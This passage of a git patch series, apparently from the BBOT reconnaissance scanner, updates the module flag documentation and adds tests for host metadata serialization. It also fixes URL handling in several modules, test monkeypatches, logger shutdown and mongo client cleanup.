'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index'] `| | modules.portfilter.allowed_cdn_ports | str | Comma-separated list of ports that are allowed to be scanned for CDNs | 80,443 | -| modules.portfilter.cdn_tags | str | Comma-separated list of tags to skip, e.g. 'cdn,cloud' | cdn-,waf- | +| modules.portfilter.cdn_tags | str | Comma-separated list of tags to skip, e.g. 'cdn,waf' | cdn,waf | | modules.postman.api_key | str | Postman API Key | | | modules.postman_download.api_key | str | Postman API Key | | | modules.postman_download.output_folder | str | Folder to download postman workspaces to. If not specified, downloaded workspaces will be deleted when the scan completes, to minimize disk usage. | | diff --git a/docs/scanning/index.md b/docs/scanning/index.md index aca266360c..70ee5d179c 100644 --- a/docs/scanning/index.md +++ b/docs/scanning/index.md @@ -112,30 +112,30 @@ A single module can have multiple flags. For example, the `securitytrails` modul ### List of Flags -| Flag | # Modules | Description | Modules | -|------------------|-------------|----------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| safe | 103 | Non-intrusive and non-destructive | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, emails, excavate, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, iis_shortnames, ip2location, ipstack, jadx, kreuzberg, leakix, myssl, newsletters, ntlm, oauth, otx, passivetotal, pgp, portfilter, portscan, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_enterprise, shodan_idb, sitedossier, skymem, social, speculate, sslcert, subdomaincenter, subdomainradar, subdomains, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | -| passive | 71 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, kreuzberg, leakix, myssl, otx, passivetotal, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_enterprise, shodan_idb, sitedossier, skymem, social, speculate, subdomaincenter, subdomainradar, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | -| active | 50 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, ffuf, ffuf_shortnames, filedownload, fingerprintx, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, httpx, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation, wafw00f, wpscan | -| subdomain-enum | 50 | Enumerates subdomains | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | -| loud | 20 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, ffuf, ffuf_shortnames, host_header, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler, telerik, url_manipulation, wafw00f, wpscan | -| code-enum | 19 | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trajan, trufflehog | -| web | 16 | Non-intrusive web scan functionality | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | -| cloud-enum | 15 | Enumerates cloud resources | azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, dnsbimi, dnstlsrpt, httpx, oauth, securitytxt | -| web-heavy | 14 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bypass403, dotnetnuke, ffuf_shortnames, host_header, hunt, lightfuzz, reflected_parameters, retirejs, smuggler, telerik, url_manipulation | -| slow | 10 | May take a long time to complete | bucket_digitalocean, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler | -| email-enum | 9 | Enumerates email addresses | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert | -| affiliates | 7 | Discovers affiliated hostnames/domains | affiliates, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns | -| download | 7 | Modules that download files, apps, or repositories | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download | -| invasive | 7 | Intrusive or potentially destructive | dotnetnuke, legba, lightfuzz, medusa, nuclei, smuggler, telerik | -| baddns | 3 | Runs all modules from the DNS auditing tool BadDNS | baddns, baddns_direct, baddns_zone | -| web-paramminer | 3 | Discovers HTTP parameters through brute-force | paramminer_cookies, paramminer_getparams, paramminer_headers | -| iis-shortnames | 2 | Scans for IIS Shortname vulnerability | ffuf_shortnames, iis_shortnames | -| portscan | 2 | Discovers open ports | portscan, shodan_idb | -| social-enum | 2 | Enumerates social media | httpx, social | -| service-enum | 1 | Identifies protocols running on open ports | fingerprintx | -| subdomain-hijack | 1 | Detects hijackable subdomains | baddns | -| web-screenshots | 1 | Takes screenshots of web pages | gowitness | +| Flag | # Modules | Description | Modules | +|------------------|-------------|----------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| safe | 101 | Non-intrusive and non-destructive | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, emails, excavate, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, ip2location, ipstack, jadx, kreuzberg, leakix, myssl, newsletters, ntlm, oauth, otx, passivetotal, pgp, portfilter, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_enterprise, shodan_idb, sitedossier, skymem, social, speculate, sslcert, subdomaincenter, subdomainradar, subdomains, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | +| passive | 71 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, kreuzberg, leakix, myssl, otx, passivetotal, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_enterprise, shodan_idb, sitedossier, skymem, social, speculate, subdomaincenter, subdomainradar, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | +| active | 50 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, ffuf, ffuf_shortnames, filedownload, fingerprintx, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, httpx, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation, wafw00f, wpscan | +| subdomain-enum | 50 | Enumerates subdomains | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | +| loud | 22 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, ffuf, ffuf_shortnames, host_header, iis_shortnames, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, smuggler, telerik, url_manipulation, wafw00f, wpscan | +| code-enum | 19 | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trajan, trufflehog | +| web | 16 | Non-intrusive web scan functionality | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | +| cloud-enum | 15 | Enumerates cloud resources | azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, dnsbimi, dnstlsrpt, httpx, oauth, securitytxt | +| web-heavy | 14 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bypass403, dotnetnuke, ffuf_shortnames, host_header, hunt, lightfuzz, reflected_parameters, retirejs, smuggler, telerik, url_manipulation | +| slow | 10 | May take a long time to complete | bucket_digitalocean, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler | +| email-enum | 9 | Enumerates email addresses | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert | +| affiliates | 7 | Discovers affiliated hostnames/domains | affiliates, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns | +| download | 7 | Modules that download files, apps, or repositories | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download | +| invasive | 7 | Intrusive or potentially destructive | dotnetnuke, legba, lightfuzz, medusa, nuclei, smuggler, telerik | +| baddns | 3 | Runs all modules from the DNS auditing tool BadDNS | baddns, baddns_direct, baddns_zone | +| web-paramminer | 3 | Discovers HTTP parameters through brute-force | paramminer_cookies, paramminer_getparams, paramminer_headers | +| iis-shortnames | 2 | Scans for IIS Shortname vulnerability | ffuf_shortnames, iis_shortnames | +| portscan | 2 | Discovers open ports | portscan, shodan_idb | +| social-enum | 2 | Enumerates social media | httpx, social | +| service-enum | 1 | Identifies protocols running on open ports | fingerprintx | +| subdomain-hijack | 1 | Detects hijackable subdomains | baddns | +| web-screenshots | 1 | Takes screenshots of web pages | gowitness | ## Dependencies From 0c99434d3dd3ddeb2542003b6f90ffd68d766c9e Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 21:54:01 -0400 Subject: [PATCH 379/912] Add test_host_metadata covering serialization, URL data dict, http_title, status_code --- bbot/test/test_step_1/test_events.py | 59 ++++++++++++++++++++++++++++ 1 file changed, 59 insertions(+) diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 73423810ea..5f1e458ce0 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -1213,3 +1213,62 @@ async def test_event_hashing(): assert finding2.data_hash == finding3.data_hash assert hash(finding1) != hash(finding2) assert hash(finding2) == hash(finding3) + + +@pytest.mark.asyncio +async def test_host_metadata(): + scan = Scanner("example.com") + await scan._prep() + + # host_metadata should be lazy-initialized as empty dict + dns_event = scan.make_event("example.com", "DNS_NAME", parent=scan.root_event) + assert dns_event.host_metadata == {} + + # set host_metadata + dns_event.host_metadata = { + "example.com": { + "cloud_providers": { + "cloudflare": {"types": ["waf"], "match": "domain"}, + } + }, + "104.18.26.217": { + "cloud_providers": { + "cloudflare": {"types": ["waf"], "match": "ip"}, + "amazon": {"types": ["cloud"], "match": "ip"}, + } + }, + } + + # verify access + assert "cloudflare" in dns_event.host_metadata["example.com"]["cloud_providers"] + assert dns_event.host_metadata["104.18.26.217"]["cloud_providers"]["amazon"]["match"] == "ip" + + # verify JSON serialization + j = dns_event.json() + assert "host_metadata" in j + assert j["host_metadata"]["example.com"]["cloud_providers"]["cloudflare"]["types"] == ["waf"] + assert j["host_metadata"]["104.18.26.217"]["cloud_providers"]["amazon"]["match"] == "ip" + + # verify host_metadata is NOT serialized when empty + dns_event2 = scan.make_event("test.example.com", "DNS_NAME", parent=scan.root_event) + j2 = dns_event2.json() + assert "host_metadata" not in j2 + + # URL events also have host_metadata + url_event = scan.make_event("https://example.com/", "URL_UNVERIFIED", parent=scan.root_event) + assert url_event.host_metadata == {} + url_event.host_metadata["example.com"] = {"cloud_providers": {"google": {"types": ["cloud"], "match": "domain"}}} + j3 = url_event.json() + assert j3["host_metadata"]["example.com"]["cloud_providers"]["google"]["types"] == ["cloud"] + + # URL event data dict should contain url, and optionally http_title/status_code + assert url_event.data["url"] == "https://example.com/" + url_event.http_title = "Example Domain" + url_event.data["status_code"] = 200 + assert url_event.data["http_title"] == "Example Domain" + assert url_event.http_status == 200 + j4 = url_event.json() + assert j4["data_json"]["http_title"] == "Example Domain" + assert j4["data_json"]["status_code"] == 200 + + await scan._cleanup() From 7a33ad9f8062ac50cb1d9072464a08a6d04d00d3 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 21:55:40 -0400 Subject: [PATCH 380/912] Add host_metadata structure assertions to cloudcheck test --- .../module_tests/test_module_cloudcheck.py | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py b/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py index bf1a457f0a..92815c2dcc 100644 --- a/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py +++ b/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py @@ -87,3 +87,17 @@ def check(self, module_test, events): and e.scope_distance == 0 ] ) + + # verify host_metadata is populated by cloudcheck on real scan events + url_events = [e for e in events if e.type == "URL"] + for url_event in url_events: + if url_event.host_metadata: + # check structure: {host: {cloud_providers: {name: {types: [...], match: "..."}}}} + for host, meta in url_event.host_metadata.items(): + assert "cloud_providers" in meta, f"host_metadata for {host} missing cloud_providers" + for provider_name, provider_info in meta["cloud_providers"].items(): + assert "types" in provider_info, f"cloud_providers[{provider_name}] missing types" + assert "match" in provider_info, f"cloud_providers[{provider_name}] missing match" + assert provider_info["match"] in ("ip", "domain", "cname"), ( + f"unexpected match type: {provider_info['match']}" + ) From c13ed8848819eaaba3aef7776fe323d3c1909c09 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 23:03:55 -0400 Subject: [PATCH 381/912] Fix speculate emitting duplicate URL_UNVERIFIEDs from URL dict events --- bbot/modules/internal/speculate.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/modules/internal/speculate.py b/bbot/modules/internal/speculate.py index 453ffe670d..0e31e9158b 100644 --- a/bbot/modules/internal/speculate.py +++ b/bbot/modules/internal/speculate.py @@ -156,12 +156,12 @@ async def handle_event(self, event): # speculate URL_UNVERIFIED from URL or any event with "url" attribute event_is_url = event.type == "URL" - event_has_url = isinstance(event.data, dict) and "url" in event.data + event_has_url = not event.type.startswith("URL") and isinstance(event.data, dict) and "url" in event.data event_tags = ["httpx-safe"] if event.type in ("CODE_REPOSITORY", "SOCIAL") else [] if event_is_url or event_has_url: url = event.url # only emit the url if it's not already in the event's history - if not any(e.type == "URL_UNVERIFIED" and e.data == url for e in event.get_parents()): + if not any(e.type == "URL_UNVERIFIED" and e.url == url for e in event.get_parents()): await self.emit_event( url, "URL_UNVERIFIED", From feadca4aa6565c62c38c79a0ff633eaef47ed12b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 23:26:06 -0400 Subject: [PATCH 382/912] Fix test_exclude_cdn: add cdn type tag alongside provider name --- bbot/test/test_step_1/test_scan.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index 8e806e8f42..81e063e053 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -365,11 +365,15 @@ class DummyModule(BaseModule): async def handle_event(self, event): if event.type == "DNS_NAME" and event.data == "evilcorp.com": - await self.emit_event("www.evilcorp.com", "DNS_NAME", parent=event, tags=["cloudflare"]) + await self.emit_event("www.evilcorp.com", "DNS_NAME", parent=event, tags=["cloudflare", "cdn"]) if event.type == "DNS_NAME" and event.data == "www.evilcorp.com": - await self.emit_event("www.evilcorp.com:80", "OPEN_TCP_PORT", parent=event, tags=["cloudflare"]) - await self.emit_event("www.evilcorp.com:443", "OPEN_TCP_PORT", parent=event, tags=["cloudflare"]) - await self.emit_event("www.evilcorp.com:8080", "OPEN_TCP_PORT", parent=event, tags=["cloudflare"]) + await self.emit_event("www.evilcorp.com:80", "OPEN_TCP_PORT", parent=event, tags=["cloudflare", "cdn"]) + await self.emit_event( + "www.evilcorp.com:443", "OPEN_TCP_PORT", parent=event, tags=["cloudflare", "cdn"] + ) + await self.emit_event( + "www.evilcorp.com:8080", "OPEN_TCP_PORT", parent=event, tags=["cloudflare", "cdn"] + ) dummy = DummyModule(scan=scan) scan.modules["dummy"] = dummy From 96f34d19629a9d67eff6bdd4dd422612b3499d0a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 25 Mar 2026 09:19:56 -0400 Subject: [PATCH 383/912] Fix code_repository and social modules for DictHostEvent URL events event.data is now a dict, use event.url to get the URL string for regex matching --- bbot/modules/code_repository.py | 2 +- bbot/modules/social.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/modules/code_repository.py b/bbot/modules/code_repository.py index 571cdb8857..32260c5970 100644 --- a/bbot/modules/code_repository.py +++ b/bbot/modules/code_repository.py @@ -39,7 +39,7 @@ async def handle_event(self, event): if not isinstance(regexes, list): regexes = [regexes] for regex, case_sensitive in regexes: - for match in regex.finditer(event.data): + for match in regex.finditer(event.url): url = match.group() if not case_sensitive: url = url.lower() diff --git a/bbot/modules/social.py b/bbot/modules/social.py index 13144ad809..f7b6ffc89e 100644 --- a/bbot/modules/social.py +++ b/bbot/modules/social.py @@ -36,7 +36,7 @@ async def setup(self): async def handle_event(self, event): for platform, (regex, case_sensitive) in self.compiled_regexes.items(): - for match in regex.finditer(event.data): + for match in regex.finditer(event.url): url = match.group() profile_name = match.groups()[0] if not case_sensitive: From 7989ace40d3696e64ffafa34aad5fa6d7c42ff0e Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 25 Mar 2026 11:36:19 -0400 Subject: [PATCH 384/912] Fix DictHostEvent breakage in ffuf_shortnames and test monkeypatches - ffuf_shortnames: use event.parent.url instead of event.parent.data (now a dict) - Update test monkeypatches that mutate event.data["url"] to also update parsed_url, since modules now read event.url (backed by parsed_url) --- bbot/modules/ffuf_shortnames.py | 4 ++-- bbot/test/test_step_2/module_tests/test_module_git_clone.py | 1 + bbot/test/test_step_2/module_tests/test_module_gowitness.py | 1 + bbot/test/test_step_2/module_tests/test_module_trufflehog.py | 1 + 4 files changed, 5 insertions(+), 2 deletions(-) diff --git a/bbot/modules/ffuf_shortnames.py b/bbot/modules/ffuf_shortnames.py index e9ee3fd05e..f002b4e613 100644 --- a/bbot/modules/ffuf_shortnames.py +++ b/bbot/modules/ffuf_shortnames.py @@ -213,10 +213,10 @@ async def handle_event(self, event): host = f"{event.parent.parsed_url.scheme}://{event.parent.parsed_url.netloc}/" if host not in self.per_host_collection.keys(): - self.per_host_collection[host] = [(filename_hint, event.parent.data)] + self.per_host_collection[host] = [(filename_hint, event.parent.url)] else: - self.per_host_collection[host].append((filename_hint, event.parent.data)) + self.per_host_collection[host].append((filename_hint, event.parent.url)) self.shortname_to_event[filename_hint] = event diff --git a/bbot/test/test_step_2/module_tests/test_module_git_clone.py b/bbot/test/test_step_2/module_tests/test_module_git_clone.py index 17333cbcbb..34e21875e0 100644 --- a/bbot/test/test_step_2/module_tests/test_module_git_clone.py +++ b/bbot/test/test_step_2/module_tests/test_module_git_clone.py @@ -190,6 +190,7 @@ def new_filter_event(event): event.data["url"] = event.data["url"].replace( "https://github.com/blacklanternsecurity", f"file://{temp_path}" ) + event.parsed_url = module_test.scan.helpers.urlparse(event.data["url"]) return old_filter_event(event) module_test.monkeypatch.setattr(module_test.scan.modules["git_clone"], "filter_event", new_filter_event) diff --git a/bbot/test/test_step_2/module_tests/test_module_gowitness.py b/bbot/test/test_step_2/module_tests/test_module_gowitness.py index 33c5af8ea3..ef87ade3be 100644 --- a/bbot/test/test_step_2/module_tests/test_module_gowitness.py +++ b/bbot/test/test_step_2/module_tests/test_module_gowitness.py @@ -39,6 +39,7 @@ async def setup_after_prep(self, module_test): async def new_emit_event(event, **kwargs): if event.data["url"] == "https://github.com/blacklanternsecurity": event.data["url"] = event.data["url"].replace("https://github.com", "http://127.0.0.1:8888") + event.parsed_url = module_test.scan.helpers.urlparse(event.data["url"]) await old_emit_event(event, **kwargs) module_test.monkeypatch.setattr(module_test.scan.modules["social"], "emit_event", new_emit_event) diff --git a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py index 0e3d448d04..5127c8396b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py +++ b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py @@ -1157,6 +1157,7 @@ async def new_handle_event(event): "https://github.com/blacklanternsecurity", f"file://{temp_path}" ) event.data = data + event.parsed_url = module_test.scan.helpers.urlparse(data["url"]) return await old_handle_event(event) module_test.monkeypatch.setattr(module_test.scan.modules["git_clone"], "handle_event", new_handle_event) From 79aac59ae54e3a02c1b2e340abba83a31536be78 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 25 Mar 2026 13:39:10 -0400 Subject: [PATCH 385/912] Fix trufflehog test: patch clone_git_repository instead of mutating event The monkeypatch was setting parsed_url to a file:// URL, which has no hostname, causing make_ip_type(None) crash in trufflehog. Also harden DictHostEvent._host() to tolerate host-less parsed_url schemes. --- bbot/core/event/base.py | 2 +- .../module_tests/test_module_trufflehog.py | 18 +++++------------- 2 files changed, 6 insertions(+), 14 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 4b2da1b0f2..65e3d91ace 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1076,7 +1076,7 @@ def _host(self): return make_ip_type(self.data["host"]) else: parsed = getattr(self, "parsed_url", None) - if parsed is not None: + if parsed is not None and parsed.hostname: return make_ip_type(parsed.hostname) diff --git a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py index 5127c8396b..2bdde295b2 100644 --- a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py +++ b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py @@ -3,7 +3,6 @@ import zipfile import tarfile import subprocess -from copy import copy from pathlib import Path from .base import ModuleTestBase @@ -1147,20 +1146,13 @@ async def setup_after_prep(self, module_test): ) # we need this test to work offline, so we patch git_clone to pull from a local file:// path - old_handle_event = module_test.scan.modules["git_clone"].handle_event + old_clone = module_test.scan.modules["git_clone"].clone_git_repository - async def new_handle_event(event): - if event.type == "CODE_REPOSITORY": - event = copy(event) - data = dict(event.data) - data["url"] = event.data["url"].replace( - "https://github.com/blacklanternsecurity", f"file://{temp_path}" - ) - event.data = data - event.parsed_url = module_test.scan.helpers.urlparse(data["url"]) - return await old_handle_event(event) + async def new_clone(repository_url): + repository_url = repository_url.replace("https://github.com/blacklanternsecurity", f"file://{temp_path}") + return await old_clone(repository_url) - module_test.monkeypatch.setattr(module_test.scan.modules["git_clone"], "handle_event", new_handle_event) + module_test.monkeypatch.setattr(module_test.scan.modules["git_clone"], "clone_git_repository", new_clone) def check(self, module_test, events): vuln_events = [ From d45d2a479769f7983f6e34ad5d5d6ac27fabb288 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 25 Mar 2026 14:45:32 -0400 Subject: [PATCH 386/912] Fix stderr lock crash during interpreter shutdown Stop QueueListener synchronously in atexit handler instead of spawning a daemon thread that gets killed mid-write during finalization. --- bbot/core/config/logger.py | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/bbot/core/config/logger.py b/bbot/core/config/logger.py index 4f22b5157e..dda240a8f6 100644 --- a/bbot/core/config/logger.py +++ b/bbot/core/config/logger.py @@ -2,7 +2,6 @@ import sys import atexit import logging -import threading from copy import copy import multiprocessing import logging.handlers @@ -79,6 +78,11 @@ def __init__(self, core): self.log_level = logging.INFO def cleanup_logging(self): + # Stop queue listener first (drains queue and stops monitor thread) + if self.listener is not None: + with suppress(Exception): + self.listener.stop() + # Close the queue handler with suppress(Exception): self.queue_handler.close() @@ -92,13 +96,6 @@ def cleanup_logging(self): with suppress(Exception): handler.close() - # Stop queue listener - with suppress(Exception): - stop_thread = threading.Thread(target=self.listener.stop) - stop_thread.daemon = True - stop_thread.start() - stop_thread.join() - def setup_queue_handler(self, logging_queue=None, log_level=logging.DEBUG): if logging_queue is None: logging_queue = self.queue From 9f6fbd8aaf0e9232177cb4685780a4d36a993790 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 25 Mar 2026 17:34:41 -0400 Subject: [PATCH 387/912] Fix Docker-based test hangs: close pymongo client, await docker stop - Add cleanup() to mongo output module (only output module missing one) - Await client.aclose() instead of unawaited client.close() in mongo test - Replace blocking time.sleep() with async sleep in mongo and elastic tests - Await docker stop process completion in mongo, rabbitmq, kafka, elastic, nats tests --- bbot/modules/output/mongo.py | 6 ++++++ .../test_step_2/module_tests/test_module_elastic.py | 6 +++--- .../test/test_step_2/module_tests/test_module_kafka.py | 6 ++++-- .../test/test_step_2/module_tests/test_module_mongo.py | 10 +++++----- bbot/test/test_step_2/module_tests/test_module_nats.py | 3 ++- .../test_step_2/module_tests/test_module_rabbitmq.py | 3 ++- 6 files changed, 22 insertions(+), 12 deletions(-) diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index b7deb3d5e4..833eab2304 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -1,3 +1,5 @@ +from contextlib import suppress + from pymongo import AsyncMongoClient from bbot.models.pydantic import Event, Scan, Target @@ -90,3 +92,7 @@ async def handle_event(self, event): await self.targets_collection.replace_one({"hash": target.hash}, target.model_dump()) else: await self.targets_collection.insert_one(target.model_dump()) + + async def cleanup(self): + with suppress(Exception): + await self.db_client.aclose() diff --git 